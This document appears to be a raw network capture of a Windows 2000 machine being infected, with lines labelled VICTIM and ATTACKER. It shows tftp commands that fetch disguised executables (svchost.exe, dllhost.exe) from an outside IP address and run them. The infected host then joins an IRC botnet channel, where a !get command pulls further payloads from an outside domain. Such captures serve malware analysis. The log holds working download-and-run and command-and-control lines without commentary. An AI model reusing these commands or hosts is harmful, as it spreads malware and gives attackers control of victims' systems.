VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\winsFile Not FoundC:\\WINNT\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is F07B-A028 Directory of C:\\WINNT\\system32\\dllcacheFile Not FoundC:\\WINNT\\system32> VICTIM: tftp -i 118.221.35.162 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: Transfer successful: 35088 bytes in 11 seconds, 3189 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 118.221.35.162 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: \000\004\000_ VICTIM: \000\004\000` VICTIM: \000\004\000a VICTIM: \000\004\000b VICTIM: Transfer successful: 49664 bytes in 16 seconds, 3104 bytes/s VICTIM: C:\\WINNT\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK biymeivyUSER p020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG biymeivy :!get http:/sleepatnight.cn/oc/box.txt VICTIM: GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: sleepatnight.cnPragma: no-cache ATTACKER: GET /op/lgate.php?n=6D05DF620DE704D8 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: sleepatnight.cnConnection: Keep-Alive ATTACKER: GET /lib/ssv.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: sleepatnight.cnConnection: Keep-Alive ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PONG :k. VICTIM: JOIN &virtu